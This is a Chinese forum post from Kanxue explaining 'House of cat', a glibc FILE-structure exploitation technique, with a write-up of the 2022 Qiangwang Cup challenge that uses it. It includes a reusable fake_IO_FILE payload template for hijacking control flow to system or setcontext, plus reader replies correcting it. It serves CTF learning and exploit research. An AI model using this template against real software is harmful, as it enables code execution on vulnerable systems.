首页
社区
课程
招聘
[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解
发表于: 2022-8-2 00:16 46245

[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解

2022-8-2 00:16
46245

5月份偶然发现的一种新型GLIBC中IO利用思路,目前适用于任何版本(包括glibc2.35),命名为House of cat并出在2022强网杯中。

House of emma是glibc2.34下常用的攻击手法之一,利用条件只需任意写一个可控地址就可以控制程序执行流,攻击威力十分强大。但是需要攻击位于TLS的_pointer_chk_guard,并且远程可能需要爆破TLS偏移。

House of Cat利用了House of emma的虚表偏移修改思想,通过修改虚表指针的偏移,避免了对需要绕过TLS上 _pointer_chk_guard的检测相关的IO函数的调用,转而调用_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入到_IO_switch_to_wget_mode函数中来攻击,从而使得攻击条件和利用变得更为简单。并且house of cat在FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可(通常是结合__malloc_assert,改vtable为_IO_wfile_jumps+0x10)。

1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

在高版本libc中,当攻击条件有限(如不能造成任意地址写)或者libc版本中无hook函数(libc2.34及以后)时,伪造fake_IO进行攻击是一种常见可行的攻击方式,常见的触发IO函数的方式有FSOP、__malloc_assert(当然也可以用puts等函数,只不过需要任意地址写任意值直接改掉libc中的stdout结构体hhh),当进入IO流时会根据vtable指针调用相关的IO函数,如果在题目中造成任意地址写一个可控地址(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache),然后伪造fake_IO结构体配合恰当的IO调用链,可以达到控制程序执行流的效果。

在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。

其检查流程为:计算_IO_vtable 段的长度(section_length),用当前虚表指针的地址减去_IO_vtable 段的开始地址,如果vtable相对于开始地址的偏移大于等于section_length,那么就会进入_IO_vtable_check进行更详细的检查,否则的话会正常调用。如果vtable是非法的,进入_IO_vtable_check函数后会触发abort。

虽然对vtable的检查较为严格,但是对于具体位置和具体偏移的检测则是较为宽松的,可以修改vtable指针为虚表段内的任意位置,也就是对于某一个_IO_xxx_jumps的任意偏移,使得其调用攻击者想要调用的IO函数。

在glibc中存在一个函数_malloc_assert,其中会根据vtable表如_IO_xxx_jumps调用IO等相关函数;该函数最终会根据stderr这个IO结构体进行相关的IO操作
图片描述
代码如下

house of kiwi提供了一种调用该函数的思路,可以通过修改topchunk的大小触发,即满足下列条件中的一个

1.topchunk的大小小于MINSIZE(0X20)
2.prev inuse位为0
3.old_top页未对齐

下面介绍另一种触发house of cat的方式FSOP

程序中所有的_IO_FILE 结构用_chain连接形成一个单链表,链表的头部则是_IO_list_all

FSOP就是通过劫持_IO_list_all的值(如large bin attack修改)来执行_IO_flush_all_lockp函数,这个函数会根据_IO_list_all刷新链表中的所有文件流,在libc中代码如下,其中会调用vtable中的IO函数_IO_OVERFLOW,根据我们上面所说的虚表偏移可变思想,这个地方的虚表偏移也是可修改的,然后配合伪造IO结构体可以执行house of cat的调用链

触发条件则是有三种情况

FSOP有三种情况(能从main函数中返回、程序中能执行exit函数、libc中执行abort),第三种情况在高版本中已经删除;__malloc_assert则是在malloc中触发,通常是修改top chunk的大小。

在_IO_wfile_jumps结构体中,会根据虚表进行相关的函数调用。

其中_IO_wfile_seekoff函数代码如下

其中fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode这个函数,继续跟进代码

而_IO_WOVERFLOW是glibc里定义的一个宏调用函数

对_IO_WOVERFLOW没有进行任何检测,为了便于理解,我们再来看看汇编代码

主要关注这几句,做了一下几点事情

1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2
4.call调用[rax2+0x18]处的内容。

而rdi现在是什么状态呢?gdb调试来看看
图片描述
可以看到这是一个堆地址,而实际上此时rdi就是伪造的IO结构体的地址,也是可控的。

在造成任意地址写一个堆地址的基础上,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system("/bin/sh")

1.修改_IO_list_all为可控地址(FSOP)或修改stderr为可控地址(__malloc_assert)。
2.在上一步的可控地址中伪造fake_IO结构体(也可以在任意地址写的情况下修改stderr、stdout等结构体)。
3.通过FSOPmalloc触发攻击。
为了便于理解,画个图
图片描述

house of cat的模板,原理参照上图。伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)


保护全开,禁用了execve还检查了read的fd


图片描述
main函数在每一次循环开始有对tcache_bins的赋值,相当于不让打tcache_bins造成任意地址写

sub_1A50函数对输入的cmd进行了格式检查,返回值部位0才能进入到do_cmd,do_cmd则是能够执行到堆块管理结构,先来看sub_1A50,为了便于查看,这里用代码展示

再来看看do_cmd函数

这里需要了解一下strtok等几个函数的作用,可以gdb动态调试结合静态逆向,不再赘述。首先我们需要login,然后再进入堆块管理函数,格式为

重点看一下堆块管理函数

add函数,calloc申请堆块,大小在0x418-0x470之间
图片描述
delete函数有UAF
图片描述
edit函数只能编写48个字节(防止UAF造成溢出),且只有2次机会

无法退出main函数,也没有exit等能造成FSOP的方式,但是stderr不在bss上而在libc中,可以在得到libc地址后large bin attack位于libc中的stderr,再在得到heap地址的基础上修改top chunk的size,这里用large bin attack修改。所以两次edit相当于给了两次large bin attack的机会,一次用来large bin attack stderr,一次用来large bin attack topchunk's size。另外由于对fd的检查,需要close(0)使flag文件的文件描述符为0,或者用mmap函数将flag映射读入。

1.泄露libc地址和堆地址
2.large bin attack stderr
3.large bin attack topchunk's size
4.伪造fake_IO
5.触发__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode。
6.setcontext执行rop链。

图片描述

在2022强网杯初赛中,由于比赛前夕其他house of手法的发布以及House of emma+堆风水的使用,导致本题被非预期,但是强网杯house of cat这道题目本意不是通过现成的攻击方式来利用,而是考察现找IO链的能力,题目解法不限于一种,感兴趣的师傅可以自行去研究其他的攻击方式。

 
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();
  return vtable;
}
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();
  return vtable;
}
 
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));
 
 
int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}
int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;
 
  if (mode == 0)
    return do_ftell_wide (fp);
  int must_be_exact = ((fp->_wide_data->_IO_read_base
            == fp->_wide_data->_IO_read_end)
               && (fp->_wide_data->_IO_write_base
               == fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));
 
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;
 
  if (mode == 0)
    return do_ftell_wide (fp);
  int must_be_exact = ((fp->_wide_data->_IO_read_base
            == fp->_wide_data->_IO_read_end)
               && (fp->_wide_data->_IO_write_base
               == fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));
 
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>
 
  0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>
 
  0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
 
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
 
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0# _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000# _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10# vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40# rax2_addr
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0# _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000# _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10# vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40# rax2_addr
__int64 __fastcall sub_1A50(char *a1, __int64 a2)
{
  char *s; // [rsp+18h] [rbp-28h]
  char *v4; // [rsp+20h] [rbp-20h]
  char *v5; // [rsp+20h] [rbp-20h]
  char *v6; // [rsp+20h] [rbp-20h]
  const char *s2; // [rsp+28h] [rbp-18h]
  char *v8; // [rsp+30h] [rbp-10h]
  const char *s1; // [rsp+38h] [rbp-8h]
 
  v4 = strstr(a1, "QWB");
  if ( !v4 )
    return 0LL; //包含 QWB,否则返回0也就是不能执行do_cmd
  *v4 = 0;
  v4[1] = 0;
  v4[2] = 32;
  v5 = v4 + 3;
  s2 = strtok(a1, " "); //用空格分隔开
  if ( !strcmp("LOGIN", s2) )
  {
    *(_BYTE *)(a2 + 8) = 1;
  }
  else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) )
  {
    if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) )
    {
      if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) )
      {
        if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) )
        {
          if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) )
          {
            if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) )
            {
              if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) )
              {
                if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) )
                {
                  if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) )
                    return 0LL;
                  *(_BYTE *)(a2 + 8) = 10;
                }
                else
                {
                  *(_BYTE *)(a2 + 8) = 9;
                }
              }
              else
              {
                *(_BYTE *)(a2 + 8) = 8;
              }
            }
            else
            {
              *(_BYTE *)(a2 + 8) = 7;
            }
          }
          else
          {
            *(_BYTE *)(a2 + 8) = 6;
          }
        }
        else
        {
          *(_BYTE *)(a2 + 8) = 5;
        }
      }
      else
      {
        *(_BYTE *)(a2 + 8) = 4;
      }
    }
    else
    {
      *(_BYTE *)(a2 + 8) = 3;
    }
  }
  else
  {
    *(_BYTE *)(a2 + 8) = 2;
  }
  v8 = strtok(0LL, " ");
  if ( v8 != strchr(v8, '|') )//查找'|'的第一个匹配之处
    return 0LL;
  *(_QWORD *)a2 = v8;
  s1 = strtok(0LL, " ");
  if ( strcmp(s1, "r00t") ) //比较'r00t’的存在
    return 0LL;
  s = v5 + 5;
  v6 = strstr(v5, "QWXF");//检查是否有'QWXF'
  if ( !v6 )
    return 0LL;
  *v6 = 0;
  v6[1] = 0;
  v6[2] = 0;
  v6[3] = 32;
  *(_QWORD *)(a2 + 16) = s;
  return 1LL;
}
__int64 __fastcall sub_1A50(char *a1, __int64 a2)
{
  char *s; // [rsp+18h] [rbp-28h]
  char *v4; // [rsp+20h] [rbp-20h]
  char *v5; // [rsp+20h] [rbp-20h]
  char *v6; // [rsp+20h] [rbp-20h]
  const char *s2; // [rsp+28h] [rbp-18h]
  char *v8; // [rsp+30h] [rbp-10h]
  const char *s1; // [rsp+38h] [rbp-8h]
 
  v4 = strstr(a1, "QWB");
  if ( !v4 )
    return 0LL; //包含 QWB,否则返回0也就是不能执行do_cmd
  *v4 = 0;
  v4[1] = 0;
  v4[2] = 32;
  v5 = v4 + 3;
  s2 = strtok(a1, " "); //用空格分隔开
  if ( !strcmp("LOGIN", s2) )
  {
    *(_BYTE *)(a2 + 8) = 1;
  }
  else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) )
  {
    if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) )
    {
      if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) )
      {
        if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) )
        {
          if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) )
          {
            if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) )
            {
              if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) )
              {
                if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) )
                {
                  if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) )
                    return 0LL;
                  *(_BYTE *)(a2 + 8) = 10;
                }
                else
                {
                  *(_BYTE *)(a2 + 8) = 9;
                }
              }
              else
              {
                *(_BYTE *)(a2 + 8) = 8;
              }
            }
            else
            {
              *(_BYTE *)(a2 + 8) = 7;
            }
          }
          else
          {
            *(_BYTE *)(a2 + 8) = 6;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-3-9 15:00 被CatF1y编辑 ,原因:
上传的附件:
收藏
免费 19
支持
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/08/29 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (13)
雪    币: 1129
活跃值: (2901)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2022-8-2 13:34
0
雪    币: 134
活跃值: (259)
能力值: ( LV2,RANK:11 )
在线值:
发帖
回帖
粉丝
3

请问这里的mode参数可控吗?或者说如何绕过mode==0的检测。

2022-8-25 08:53
0
雪    币: 2267
活跃值: (1553)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
wx_唐_464 请问这里的mode参数可控吗?或者说如何绕过mode==0的检测。

参数是可控的,mode为0或为1最终都会执行到后面的函数,不影响结果,我试过了

最后于 2022-8-25 14:41 被CatF1y编辑 ,原因:
2022-8-25 14:40
1
雪    币: 35
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5

应该是可以控制mode,实际上也就是控制rcx寄存器,我调试跟进的时候发现执行中间有对rcx的写操作,如果rcx寄存器为0的话构造两个FILE结构体然后第一个用来置rcx,第二个用来调用就能执行到_IO_switch_to_wget_mode

2022-9-6 20:46
1
雪    币: 2267
活跃值: (1553)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
6
Phot0n 应该是可以控制mode,实际上也就是控制rcx寄存器,我调试跟进的时候发现执行中间有对rcx的写操作,如果rcx寄存器为0的话构造两个FILE结构体然后第一个用来置rcx,第二个用来调用就能执行到_I ...
为何要构造两个结构体?
2022-9-6 22:24
1
雪    币: 35
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7

我自己本地构建demo测试的时候很不巧mode也就是rcx好像是=0的(这个mode不是FILE结构体里的mode,应该是rcx寄存器),然后跳到了另外一个分支也就是 

if (mode == 0)    
    return do_ftell_wide (fp);,

所以我堆上相邻的构造了两个FILE结构(内容大致相似,只是相应地址改变),第一个chain指向第二个,希望在两次_IO_wfile_seekoff之间能够让rcx寄存器改变,使得虽然对第一个FILE进行_IO_flush_all_lockp操作的时候没有进入_IO_switch_to_wget_mode,然后对第二个FILE进行操作的时候进入。但是发现相邻两次_IO_wfile_seekoff的rcx寄存器值似乎并没有改变,然后单步调试的时候发现存在对从堆相关地址处取值赋给rcx的操作,于是在不改变分支的情况下修改相应堆上的值就行了


(这只是我个人比价简陋的想法,应该有其他控制rcx寄存器的方法

2022-9-7 10:56
0
雪    币: 2267
活跃值: (1553)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
8
Phot0n 我自己本地构建demo测试的时候很不巧mode也就是rcx好像是=0的(这个mode不是FILE结构体里的mode,应该是rcx寄存器),然后跳到了另外一个分支也就是&nbsp;if& ...
直接在第一个结构体控制mode=1就可以了,之前我的版本发现mode=0不影响后面的执行就没管
2022-10-7 14:38
1
雪    币: 277
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
9


最后于 2023-6-1 19:04 被anrorua编辑 ,原因:
2023-5-25 09:21
1
雪    币: 277
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
10


最后于 2023-5-25 17:20 被anrorua编辑 ,原因:
2023-5-25 09:23
1
雪    币: 28
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
当top_chunk的prev_inused位为0时可以触发malloc_assert吗,怎么我调试的不对,,,,

2023-7-26 20:38
0
雪    币: 3573
活跃值: (31026)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
感谢分享
2023-7-27 08:57
1
雪    币: 25
活跃值: (314)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13

后排提醒,模板里第5、6行容易造成困扰。 

fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP) 
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx

这两句写的简直是驴唇不对马嘴。

首先wide_date指向了fake_FILE+0x30, 那么在第五行第二个数p64(2)的位置是 _wide_data->_IO_write_base

在第六行 rdx的位置是_wide_data->_IO_write_ptr

已知要保证_IO_write_ptr>_IO_write_base。

如果要用ORW,那么rdx是一个地址,是一个大数,只需要把第五行两个数设为0即可。

fake_IO_FILE +=p64(0)+p64(0) 
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx

如果使用system/onegadget,虽然不需要控rdx,也要把rdx填入数字,保证大于第五行。

fake_IO_FILE +=p64(0)+p64(0) 
fake_IO_FILE +=p64(1)           #rdx

不知道原本填的1和2有什么意义,刚开始还以为第五行才是_IO_write_base和_IO_write_ptr,整了半天原来第五行没啥用。

而且第五行两个值也不是控rcx的,rcx的值只和mode、_IO_helper_jumps、fake_vtable地址有关,是两个libc地址的差值(修改的位置在IO_validate_vtable函数里),和第五行两个数没什么关系。




最后于 2023-12-13 01:18 被呼风唤雨编辑 ,原因:
2023-12-13 01:09
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
14
只要让flag&0x2!=0就能进入buffered_vfprintf,该函数稳定让mode!=0
2024-6-1 16:31
0
游客
登录 | 注册 方可回帖
返回
//